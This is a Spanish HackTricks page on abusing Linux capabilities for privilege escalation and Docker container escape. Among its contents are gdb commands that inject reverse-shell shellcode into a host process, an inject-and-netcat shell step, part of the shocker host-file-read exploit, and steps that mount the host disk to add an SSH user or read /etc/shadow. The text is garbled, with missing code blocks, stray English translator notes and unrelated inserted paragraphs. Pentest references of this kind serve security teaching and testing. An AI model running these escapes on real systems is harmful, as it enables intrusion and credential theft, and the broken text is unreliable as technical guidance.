* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.\\
{% embed url="https://www.rootedcon.com/" %}
## ¿Por qué capacidades?
Las capacidades de Linux **proporcionan un subconjunto de los privilegios de root disponibles** a un proceso. Esto divide efectivamente los privilegios de root en unidades más pequeñas y distintivas. Cada una de estas unidades puede ser otorgada independientemente a los procesos. De esta manera, el conjunto completo de privilegios se reduce y se disminuyen los riesgos de explotación.
Para entender mejor cómo funcionan las capacidades de Linux, veamos primero el problema que intenta resolver.
Supongamos que estamos ejecutando un proceso como un usuario normal. Esto significa que no tenemos privilegios. Solo podemos acceder a datos que nos pertenecen, a nuestro grupo o que están marcados para el acceso de todos los usuarios. En algún momento, nuestro proceso necesita un poco más de permisos para cumplir con sus tareas, como abrir un socket de red. El problema es que los usuarios normales no pueden abrir un socket, ya que esto requiere permisos de root.
## Conjuntos de capacidades
**Capacidades heredadas**
**CapEff**: El conjunto de capacidades _efectivas_ representa todas las capacidades que el proceso está utilizando en ese momento (este es el conjunto real de capacidades que el kernel utiliza para las comprobaciones de permisos). Para las capacidades de archivo, el conjunto efectivo es en realidad un solo bit que indica si las capacidades del conjunto permitido se moverán al conjunto efectivo al ejecutar un binario. Esto hace posible que los binarios que no son conscientes de las capacidades utilicen las capacidades de archivo sin emitir llamadas de sistema especiales.
**CapPrm**: (_Permitido_) Este es un superset de capacidades que el hilo puede agregar a los conjuntos permitidos o heredables del hilo. El hilo puede usar la llamada al sistema capset() para administrar las capacidades: puede eliminar cualquier capacidad de cualquier conjunto, pero solo agregar capacidades a sus conjuntos efectivos e heredados de hilo que estén en su conjunto permitido de hilo. En consecuencia, no puede agregar ninguna capacidad a su conjunto permitido de hilo, a menos que tenga la capacidad cap\_setpcap en su conjunto efectivo de hilo.
**CapInh**: Usando el conjunto _heredado_, se pueden especificar todas las capacidades que se permiten heredar de un proceso padre. Esto evita que un proceso reciba capacidades que no necesita. Este conjunto se conserva a través de un `execve` y generalmente es establecido por un proceso que _recibe_ capacidades en lugar de por un proceso que otorga capacidades a sus hijos.
**CapBnd**: Con el conjunto _limitante_ es posible restringir las capacidades que un proceso puede recibir. Solo se permitirán las capacidades que estén presentes en el conjunto limitante en los conjuntos heredables y permitidos.
**CapAmb**: El conjunto de capacidades _ambientales_ se aplica a todos los binarios no SUID sin capacidades de archivo. Conserva las capacidades al llamar a `execve`. Sin embargo, no todas las capacidades del conjunto ambiental pueden ser conservadas porque se eliminan en caso de que no estén presentes en el conjunto de capacidades heredables o permitidas. Este conjunto se conserva a través de llamadas a `execve`.
Para obtener una explicación detallada de la diferencia entre las capacidades en los hilos y los archivos y cómo se pasan las capacidades a los hilos, lea las siguientes páginas:
Para ver las capacidades de un proceso en particular, use el archivo **status** en el directorio /proc. Como proporciona más detalles, limitemos solo la información relacionada con las capacidades de Linux.\
Tenga en cuenta que para toda la información de capacidades de los procesos en ejecución se mantiene por hilo, para los binarios en el sistema de archivos se almacena en atributos extendidos.
Puede encontrar las capacidades definidas en /usr/include/linux/capability.h
Puede encontrar las capacidades del proceso actual en `cat /proc/self/status` o haciendo `capsh --print` y de otros usuarios en `/proc/<pid>/status`
```bash
cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process
```
Este comando debería devolver 5 líneas en la mayoría de los sistemas.
* CapInh = Capacidades heredadas
* CapPrm = Capacidades permitidas
* CapEff = Capacidades efectivas
* CapBnd = Conjunto límite
* CapAmb = Conjunto de capacidades ambientales
```bash
#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
```
Estos números hexadecimales no tienen sentido. Usando la utilidad capsh podemos decodificarlos en el nombre de las capacidades.
Aunque eso funciona, hay otra forma más fácil. Para ver las capacidades de un proceso en ejecución, simplemente usa la herramienta **getpcaps** seguida de su identificador de proceso (PID). También puedes proporcionar una lista de identificadores de proceso.
Veamos aquí las capacidades de `tcpdump` después de haberle otorgado al binario suficientes capacidades (`cap_net_admin` y `cap_net_raw`) para espiar la red (_tcpdump se está ejecutando en el proceso 9562_):
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep
$ cat /proc/9562/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000000000003000
CapEff: 0000000000003000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
```
Como se puede ver, las capacidades dadas corresponden con los resultados de las 2 formas de obtener las capacidades de un binario. La herramienta _getpcaps_ utiliza la llamada al sistema **capget()** para consultar las capacidades disponibles para un hilo en particular. Esta llamada al sistema solo necesita proporcionar el PID para obtener más información.
### Capacidades de Binarios
Los binarios pueden tener capacidades que se pueden utilizar durante la ejecución. Por ejemplo, es muy común encontrar el binario `ping` con la capacidad `cap_net_raw`:
```bash
getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep
```
Puedes **buscar binarios con capacidades** usando:
```bash
getcap -r / 2>/dev/null
```
### Eliminando capacidades con capsh
Si eliminamos las capacidades CAP\_NET\_RAW para _ping_, entonces la utilidad de ping ya no debería funcionar.
```bash
capsh --drop=cap_net_raw --print -- -c "tcpdump"
```
Además de la salida de _capsh_ en sí, el comando _tcpdump_ en sí mismo también debería generar un error.
> /bin/bash: /usr/sbin/tcpdump: Operación no permitida
El error muestra claramente que el comando ping no tiene permitido abrir un socket ICMP. Ahora sabemos con certeza que esto funciona como se espera.
Aparentemente **es posible asignar capacidades también a los usuarios**. Esto probablemente significa que cada proceso ejecutado por el usuario podrá utilizar las capacidades del usuario.\
Basándonos en [esto](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [esto](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html) y [esto](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user), algunos archivos nuevos deben ser configurados para dar a un usuario ciertas capacidades, pero el que asigna las capacidades a cada usuario será `/etc/security/capability.conf`.\
Ejemplo de archivo:
```bash
# Simple
cap_sys_ptrace developer
cap_net_raw user1
# Multiple capablities
cap_net_admin,cap_net_raw jrnetadmin
# Identical, but with numeric values
12,13 jrnetadmin
# Combining names and numerics
cap_sys_admin,22,25 jrsysadmin
```
## Capacidades de Entorno
Compilando el siguiente programa es posible **generar una shell de bash dentro de un entorno que provee capacidades**.
{% endcode %} (This is not a translation, it's just a correction to the previous message. The correct instruction to close a code block in markdown is `{% endcode %}` instead of `</code>`.)
Dentro del **bash ejecutado por el binario de ambiente compilado** es posible observar las **nuevas capacidades** (un usuario regular no tendrá ninguna capacidad en la sección "actual").
Los **binarios con capacidad no usarán las nuevas capacidades** otorgadas por el entorno, sin embargo, los **binarios sin capacidad las usarán** ya que no las rechazarán. Esto hace que los binarios sin capacidad sean vulnerables dentro de un entorno especial que otorga capacidades a los binarios.
Por lo tanto, un archivo de **configuración del servicio** permite **especificar** las **capacidades** que deseas que tenga, **y** el **usuario** que debe ejecutar el servicio para evitar ejecutar un servicio con privilegios innecesarios:
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
Las capacidades son útiles cuando se desea restringir los propios procesos después de realizar operaciones privilegiadas (por ejemplo, después de configurar chroot y enlazar a un socket). Sin embargo, pueden ser explotadas al pasar comandos o argumentos maliciosos que luego se ejecutan como root.
Estas capacidades permiten a `tcpdump` acceder a los paquetes de red en bruto y configurar interfaces de red. Para asignar estas capacidades al binario `tcpdump`, se puede utilizar el siguiente comando:
Tenga en cuenta que se pueden asignar conjuntos de capacidades vacíos a un archivo de programa, por lo que es posible crear un programa set-user-ID-root que cambie el ID de usuario efectivo y guardado del proceso que ejecuta el programa a 0, pero no confiere capacidades a ese proceso. O, dicho de manera simple, si tiene un binario que:
1. no es propiedad de root
2. no tiene bits `SUID`/`SGID` establecidos
3. tiene un conjunto de capacidades vacío (por ejemplo: `getcap myelf` devuelve `myelf =ep`)
[**CAP\_SYS\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) es en gran medida una capacidad general, que puede llevar fácilmente a capacidades adicionales o a root completo (normalmente acceso a todas las capacidades). `CAP_SYS_ADMIN` es necesario para realizar una serie de **operaciones administrativas**, lo que es difícil de eliminar de los contenedores si se realizan operaciones privilegiadas dentro del contenedor. A menudo es necesario conservar esta capacidad para contenedores que imitan sistemas completos en lugar de contenedores de aplicaciones individuales que pueden ser más restrictivos. Entre otras cosas, esto permite **montar dispositivos** o abusar de **release\_agent** para escapar del contenedor.
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
```
Dentro de la salida anterior se puede ver que la capacidad SYS\_ADMIN está habilitada.
chroot ./ bash #You have a shell inside the docker hosts disk
```
* **Acceso completo**
En el método anterior logramos acceder al disco del host de Docker.\
En caso de que encuentres que el host está ejecutando un servidor **ssh**, podrías **crear un usuario dentro del disco del host de Docker** y acceder a él a través de SSH:
```bash
#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/
#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open
#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222
```
## CAP\_SYS\_PTRACE
**Esto significa que puedes escapar del contenedor inyectando un shellcode dentro de algún proceso que se esté ejecutando dentro del host.** Para acceder a los procesos que se ejecutan dentro del host, el contenedor debe ejecutarse al menos con **`--pid=host`**.
[**CAP\_SYS\_PTRACE**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite el uso de `ptrace(2)` y llamadas al sistema recientemente introducidas como `process_vm_readv(2)` y `process_vm_writev(2)` para adjuntar memoria cruzada. Si se concede esta capacidad y la llamada al sistema `ptrace(2)` en sí no está bloqueada por un filtro seccomp, esto permitirá a un atacante eludir otras restricciones de seccomp, consulte [PoC para eludir seccomp si se permite ptrace](https://gist.github.com/thejh/8346f47e359adecd1d53) o el **siguiente PoC**:
Para crear un shellcode con msfvenom, primero debemos especificar la plataforma y la arquitectura de destino. En este ejemplo, crearemos un shellcode para una plataforma Linux de 64 bits:
Una vez que se haya generado el shellcode, podemos inyectarlo en memoria a través de gdb. Primero, debemos compilar nuestro programa de destino con la opción `-z execstack` para permitir la ejecución de código en la pila:
Este comando asigna una página de memoria de 4096 bytes con permisos de lectura, escritura y ejecución. Luego, podemos copiar nuestro shellcode en la página de memoria utilizando el comando `call` de gdb:
Reemplaza `<MEMORY_ADDRESS>` con la dirección de memoria asignada por el comando `mmap`, `<SHELLCODE>` con el shellcode generado por msfvenom y `<SHELLCODE_LENGTH>` con la longitud del shellcode.
## NOTE that the process you abuse will die after the shellcode
/usr/bin/gdb -p $(pgrep sleep)
[...]
(gdb) set {long}($rip+0) = 0x296a909090909090
(gdb) set {long}($rip+8) = 0x5e016a5f026a9958
(gdb) set {long}($rip+16) = 0x0002b9489748050f
(gdb) set {long}($rip+24) = 0x48510b0e0a0a2923
(gdb) set {long}($rip+32) = 0x582a6a5a106ae689
(gdb) set {long}($rip+40) = 0xceff485e036a050f
(gdb) set {long}($rip+48) = 0x6af675050f58216a
(gdb) set {long}($rip+56) = 0x69622fbb4899583b
(gdb) set {long}($rip+64) = 0x8948530068732f6e
(gdb) set {long}($rip+72) = 0x050fe689485752e7
(gdb) c
Continuing.
process 207009 is executing new program: /usr/bin/dash
[...]
```
**Ejemplo con entorno (Docker breakout) - Otro abuso de gdb**
Si **GDB** está instalado (o puedes instalarlo con `apk add gdb` o `apt install gdb`, por ejemplo), puedes **depurar un proceso desde el host** y hacer que llame a la función `system`. (Esta técnica también requiere la capacidad `SYS_ADMIN`).
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
2. Encontrar un **shellcode** para la arquitectura ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))
3. Encontrar un **programa** para **inyectar** el **shellcode** en la memoria de un proceso ([https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c](https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c))
4.**Modificar** el **shellcode** dentro del programa y **compilarlo**`gcc inject.c -o inject`
5.**Inyectarlo** y obtener tu **shell**: `./inject 299; nc 172.17.0.1 5600`
## CAP\_SYS\_MODULE
[**CAP\_SYS\_MODULE**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite al proceso cargar y descargar módulos del kernel arbitrarios (llamadas al sistema `init_module(2)`, `finit_module(2)` y `delete_module(2)`). Esto podría llevar a una escalada de privilegios trivial y compromiso de ring-0. El kernel puede ser modificado a voluntad, subvirtiendo toda la seguridad del sistema, los Módulos de Seguridad de Linux y los sistemas de contenedores.\
Lo que significa que es posible utilizar el comando **`insmod`** para insertar un módulo del kernel. Siga el ejemplo a continuación para obtener una **shell inversa** abusando de este privilegio.
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
```
Dentro de la salida anterior se puede ver que la capacidad **SYS\_MODULE** está habilitada.
**Cree** el **módulo del kernel** que va a ejecutar un shell inverso y el **Makefile** para **compilarlo**:
El archivo Makefile es un archivo de configuración utilizado para automatizar la compilación y el proceso de construcción de un programa. Contiene reglas que especifican cómo se deben compilar los archivos fuente y cómo se deben vincular los archivos objeto para crear el programa final. También se pueden incluir reglas para limpiar los archivos generados y para ejecutar pruebas automatizadas.
Para usar un archivo Makefile, simplemente ejecute el comando "make" en el directorio que contiene el archivo. Make leerá el archivo y ejecutará las reglas necesarias para compilar y construir el programa.
Es importante tener en cuenta que el archivo Makefile debe estar escrito correctamente para evitar errores y problemas de seguridad. Los atacantes pueden aprovechar las vulnerabilidades en el archivo Makefile para ejecutar código malicioso o para obtener acceso no autorizado al sistema. Por lo tanto, es importante seguir las mejores prácticas de seguridad al escribir y utilizar archivos Makefile.
**El código de esta técnica fue copiado del laboratorio "Abusing SYS\_MODULE Capability" de** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
Otro ejemplo de esta técnica se puede encontrar en [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host)
[**CAP\_DAC\_READ\_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite a un proceso **omitir los permisos de lectura de archivos y de lectura y ejecución de directorios**. Si bien esto fue diseñado para ser utilizado para buscar o leer archivos, también otorga al proceso permiso para invocar `open_by_handle_at(2)`. Cualquier proceso con la capacidad `CAP_DAC_READ_SEARCH` puede usar `open_by_handle_at(2)` para obtener acceso a cualquier archivo, incluso archivos fuera de su espacio de nombres de montaje. El identificador pasado a `open_by_handle_at(2)` está destinado a ser un identificador opaco recuperado usando `name_to_handle_at(2)`. Sin embargo, este identificador contiene información sensible y manipulable, como números de inodo. Esto se demostró por primera vez como un problema en los contenedores Docker por Sebastian Krahmer con el exploit [shocker](https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3).\
**Esto significa que se puede omitir la comprobación de permisos de lectura de archivos y la comprobación de permisos de lectura/ejecución de directorios.**
**Ejemplo con binario**
El binario podrá leer cualquier archivo. Por lo tanto, si un archivo como tar tiene esta capacidad, podrá leer el archivo shadow:
```bash
cd /etc
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
```
Dentro de la salida anterior se puede ver que la capacidad **DAC\_READ\_SEARCH** está habilitada. Como resultado, el contenedor puede **depurar procesos**.
Puedes aprender cómo funciona la siguiente explotación en [https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3), pero en resumen, **CAP\_DAC\_READ\_SEARCH** no solo nos permite atravesar el sistema de archivos sin verificaciones de permisos, sino que también elimina explícitamente cualquier verificación de _**open\_by\_handle\_at(2)**_ y **podría permitir que nuestro proceso acceda a archivos sensibles abiertos por otros procesos**.
El exploit original que abusa de estos permisos para leer archivos del host se puede encontrar aquí: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), lo siguiente es una **versión modificada que te permite indicar el archivo que deseas leer como primer argumento y volcarlo en un archivo.**
```c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir
Este exploit explota la necesidad de encontrar un puntero a algo montado en el host. El exploit original usaba el archivo /.dockerinit y esta versión modificada usa /etc/hostname. Si el exploit no funciona, tal vez necesites establecer un archivo diferente. Para encontrar un archivo que esté montado en el host, simplemente ejecuta el comando mount:
**El código de esta técnica fue copiado del laboratorio "Abusing DAC\_READ\_SEARCH Capability" de** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
**Esto significa que puedes saltarte las comprobaciones de permisos de escritura en cualquier archivo, por lo que puedes escribir cualquier archivo.**
Hay muchos archivos que puedes **sobrescribir para escalar privilegios,** [**puedes obtener ideas aquí**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges).
**Ejemplo con binario**
En este ejemplo, vim tiene esta capacidad, por lo que puedes modificar cualquier archivo como _passwd_, _sudoers_ o _shadow_:
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
```
En primer lugar, lee la sección anterior que [**abusa de la capacidad DAC\_READ\_SEARCH para leer archivos arbitrarios**](linux-capabilities.md#cap\_dac\_read\_search) del host y **compila** el exploit.\
Luego, **compila la siguiente versión del exploit shocker** que te permitirá **escribir archivos arbitrarios** dentro del sistema de archivos del host:
Para escapar del contenedor de Docker, podrías **descargar** los archivos `/etc/shadow` y `/etc/passwd` del host, **añadir** un **nuevo usuario**, y usar **`shocker_write`** para sobrescribirlos. Luego, **acceder** vía **ssh**.
**El código de esta técnica fue copiado del laboratorio "Abusing DAC\_OVERRIDE Capability" de** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com)
## CAP\_CHOWN
**Esto significa que es posible cambiar la propiedad de cualquier archivo.**
**Ejemplo con binario**
Supongamos que el binario **`python`** tiene esta capacidad, puedes **cambiar** el **propietario** del archivo **shadow**, **cambiar la contraseña de root**, y escalar privilegios:
**Esto significa que es posible establecer el ID de grupo efectivo del proceso creado.**
Hay muchos archivos que se pueden **sobrescribir para escalar privilegios,** [**puedes obtener ideas aquí**](payloads-to-execute.md#sobrescribir-un-archivo-para-escalar-privilegios).
Una vez que hayas encontrado un archivo que puedas abusar (ya sea leyendo o escribiendo) para escalar privilegios, puedes **obtener una shell suplantando al grupo interesante** con:
```python
import os
os.setgid(42)
os.system("/bin/bash")
```
En este caso se suplantó al grupo shadow para poder leer el archivo `/etc/shadow`:
```bash
cat /etc/shadow
```
Si está instalado **docker**, podrías **suplantar** al **grupo docker** y abusar de él para comunicarte con el [**socket de docker** y escalar privilegios](./#writable-docker-socket).
## CAP\_SETFCAP
**Esto significa que es posible establecer capacidades en archivos y procesos**
{% endcode %} (This is not a translation, it's just a correction to the previous message. The correct markdown syntax to end a code block is `{% endcode %}` instead of `</code>`.)
Esta capacidad permite **dar cualquier otra capacidad a los binarios**, por lo que podríamos pensar en **escapar** del contenedor **abusando de cualquiera de las otras vulnerabilidades de capacidad** mencionadas en esta página.\
Sin embargo, si intentas dar, por ejemplo, las capacidades CAP\_SYS\_ADMIN y CAP\_SYS\_PTRACE al binario gdb, descubrirás que puedes dárselas, pero el **binario no podrá ejecutarse después de esto**:
Después de investigar, leí esto: _Permitted: esto es un **subconjunto limitante para las capacidades efectivas** que el hilo puede asumir. También es un subconjunto limitante para las capacidades que pueden ser agregadas al conjunto heredable por un hilo que **no tiene la capacidad CAP\_SETPCAP** en su conjunto efectivo._\
Sin embargo, en la documentación de esta capacidad: _CAP\_SETPCAP: \[...\] **agrega cualquier capacidad del conjunto de límites del hilo que llama** a su conjunto heredable_.\
Parece que solo podemos agregar al conjunto heredable capacidades del conjunto de límites. Lo que significa que **no podemos poner nuevas capacidades como CAP\_SYS\_ADMIN o CAP\_SYS\_PTRACE en el conjunto heredable para escalar privilegios**.
[**CAP\_SYS\_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) proporciona una serie de operaciones sensibles, incluyendo acceso a `/dev/mem`, `/dev/kmem` o `/proc/kcore`, modificar `mmap_min_addr`, acceso a las llamadas al sistema `ioperm(2)` e `iopl(2)`, y varios comandos de disco. La llamada al sistema `FIBMAP ioctl(2)` también está habilitada a través de esta capacidad, lo que ha causado problemas en el [pasado](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Según la página del manual, esto también permite al titular **realizar una serie de operaciones específicas del dispositivo en otros dispositivos**.
Esto puede ser útil para **la escalada de privilegios** y **la fuga de Docker**.
## CAP\_KILL
**Esto significa que es posible matar cualquier proceso.**
**Ejemplo con binario**
Supongamos que el binario **`python`** tiene esta capacidad. Si también pudieras **modificar alguna configuración de servicio o socket** (o cualquier archivo de configuración relacionado con un servicio), podrías instalar una puerta trasera y luego matar el proceso relacionado con ese servicio y esperar a que se ejecute el nuevo archivo de configuración con tu puerta trasera.
```python
#Use this python code to kill arbitrary processes
import os
import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)
```
**Privesc con kill**
Si tienes capacidades de kill y hay un **programa de nodo ejecutándose como root** (o como un usuario diferente), probablemente puedas **enviarle** la **señal SIGUSR1** y hacer que **abra el depurador de nodo** para que puedas conectarte.
```bash
kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
Esto significa que es posible escuchar en cualquier puerto (incluso en los privilegiados). No se puede escalar privilegios directamente con esta capacidad.
Si **`python`** tiene esta capacidad, podrá escuchar en cualquier puerto e incluso conectarse desde él a cualquier otro puerto (algunos servicios requieren conexiones desde puertos de privilegio específicos).
Linux capabilities are a way to divide the privileges of a superuser into smaller units. This way, a process can be granted only the specific capabilities it needs to perform its task, instead of running with full root privileges.
This output shows that the `/bin/ping` binary has the `cap_net_raw` capability, which allows it to send and receive raw network packets, and the `ep` flag, which means that the binary can be executed with effective capabilities.
This command adds the `cap_net_raw` capability to the `/bin/ping` binary, and sets the `ep` flag to allow the binary to be executed with effective capabilities.
## Remove Capabilities
To remove capabilities from a binary, use the `setcap` command with the `-r` flag:
If a binary has a capability that it doesn't need, it can be exploited to gain elevated privileges. For example, if a binary has the `cap_setuid` capability, which allows it to set the UID of the process, an attacker can use it to escalate privileges by setting the UID to 0 (root).
This command adds the `cap_setuid` capability to the `/bin/bash` binary, and sets the `ep` flag to allow the binary to be executed with effective capabilities. The attacker can then run `/bin/bash -p` to get a root shell.
[**CAP\_NET\_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite que un proceso pueda **crear tipos de socket RAW y PACKET** para los espacios de nombres de red disponibles. Esto permite la generación y transmisión arbitraria de paquetes a través de las interfaces de red expuestas. En muchos casos, esta interfaz será un dispositivo Ethernet virtual que puede permitir que un contenedor malicioso o **comprometido****suplante****paquetes** en varias capas de red. Un proceso malicioso o un contenedor comprometido con esta capacidad puede inyectarse en el puente ascendente, explotar el enrutamiento entre contenedores, evitar los controles de acceso a la red y manipular la red del host si no hay un firewall en su lugar para limitar los tipos y contenidos de paquetes. Finalmente, esta capacidad permite que el proceso se enlace a cualquier dirección dentro de los espacios de nombres disponibles. Esta capacidad a menudo es retenida por contenedores privilegiados para permitir que la función ping funcione mediante el uso de sockets RAW para crear solicitudes ICMP desde un contenedor.
**Esto significa que es posible espiar el tráfico.** No se pueden escalar los privilegios directamente con esta capacidad.
El siguiente ejemplo es un código de **`python2`** que puede ser útil para interceptar el tráfico de la interfaz "**lo**" (**localhost**). El código es del laboratorio "_The Basics: CAP-NET\_BIND + NET\_RAW_" de [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com)
[**CAP\_NET\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite al poseedor de la capacidad **modificar el firewall de los espacios de nombres de red expuestos, las tablas de enrutamiento, los permisos de socket**, la configuración de la interfaz de red y otras configuraciones relacionadas en las interfaces de red expuestas. Esto también proporciona la capacidad de **habilitar el modo promiscuo** para las interfaces de red adjuntas y potencialmente espiar a través de los espacios de nombres.
Si encuentras que un archivo es inmutable y Python tiene esta capacidad, puedes **eliminar el atributo inmutable y hacer que el archivo sea modificable:**
[**CAP\_SYS\_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite el uso de la llamada al sistema `chroot(2)`. Esto puede permitir escapar de cualquier entorno `chroot(2)`, utilizando debilidades y escapes conocidos:
* [Cómo escapar de varias soluciones chroot](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf)
* [chw00t: herramienta de escape chroot](https://github.com/earthquake/chw00t/)
## CAP\_SYS\_BOOT
[**CAP\_SYS\_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite el uso de la llamada al sistema `reboot(2)`. También permite ejecutar un comando de reinicio arbitrario a través de `LINUX_REBOOT_CMD_RESTART2`, implementado para algunas plataformas de hardware específicas.
Esta capacidad también permite el uso de la llamada al sistema `kexec_load(2)`, que carga un nuevo kernel de falla y, a partir de Linux 3.17, la llamada al sistema `kexec_file_load(2)` que también cargará kernels firmados.
[CAP\_SYSLOG](https://man7.org/linux/man-pages/man7/capabilities.7.html) finalmente se bifurcó en Linux 2.6.37 desde el conjunto de capacidades `CAP_SYS_ADMIN`, esta capacidad permite que el proceso use la llamada al sistema `syslog(2)`. Esto también permite que el proceso vea las direcciones del kernel expuestas a través de `/proc` y otras interfaces cuando `/proc/sys/kernel/kptr_restrict` está configurado en 1.
